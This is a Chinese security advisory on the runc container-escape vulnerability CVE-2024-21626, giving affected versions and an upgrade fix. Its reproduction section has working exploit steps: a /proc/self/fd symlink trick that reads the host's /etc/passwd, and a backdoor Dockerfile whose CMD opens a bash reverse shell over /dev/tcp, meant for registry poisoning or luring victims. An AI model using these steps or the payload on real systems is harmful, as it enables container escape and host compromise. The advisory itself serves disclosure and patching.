漏洞概况
runc是一个开源的命令行工具,专用于创建和运行符合 Open Container Initiative (OCI) 规范的容器。
作为容器运行时(container runtime)的一种实现,runc的灵活性使其能够管理容器的完整生命周期,包括创建、启动、暂停、继续和销毁容器等操作。
近期runc社区披露了高危安全漏洞CVE-2024-21626,该漏洞可能被恶意攻击者利用,造成严重的安全风险。
runc在初始化过程中意外地将宿主机的一些关键文件描述符泄露到容器内部,导致攻击者可以利用特权用户执行恶意容器镜像,并以容器内部进程的身份在宿主机挂载命名空间中拥有工作目录,从而访问宿主文件系统。在runc exec过程中同样存在文件描述符泄露和工作目录验证不足的问题。
如果容器内的恶意进程知道某个管理进程将使用--cwd参数和给定路径调用runc exec,就可以通过符号链接替换工作目录路径,绕过PR_SET_DUMPABLE保护,进而访问主机文件系统。
漏洞等级
高
利用可能
低
影响范围
>= 1.0.0-rc93 runc <= 1.1.11 and kernel version >= 5.6
修复建议
目前官方已发布最新版本,建议受影响用户升级至 runc >= 1.1.12
https://github.com/opencontainers/runc/releases/tag/v1.1.12
复现过程
创建测试容器模拟正常业务容器
docker run --name cve-2024-21626 --rm -it ubuntu
由于runc exec中存在文件描述符泄漏和工作目录验证不足,便可以用符号链接将该路径替换为 /proc/self/fd/8/
ln -sf /proc/self/fd/8/ /runc_test #注:需知道容器cwd参数
管理员启动漏洞容器并指定了--cwd 参数和给定路径调用
docker exec -it -w /runc_test cve-2024-21626 sleep 1200
查看进程id
ls -F /proc
指向进程10当前工作目录并查看节点文件
cat /proc/10/cwd/../../../../../../etc/passwd
镜像仓库投毒或社工诱导部署后门镜像
#dockerfile
FROM ubuntu:18.04
WORKDIR /proc/self/fd/8/
CMD /bin/bash -c'bash -i >&/dev/tcp/ip/65532 0>&1'
构造后门镜像并查看
docker build -t cve-2024-21626-test -f dockerfile_cve-2024-21626.yaml .
受害者运行后门镜像
docker images
docker run 7d30e331ffeb
原文始发于微信公众号(网络威胁数据联盟):【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论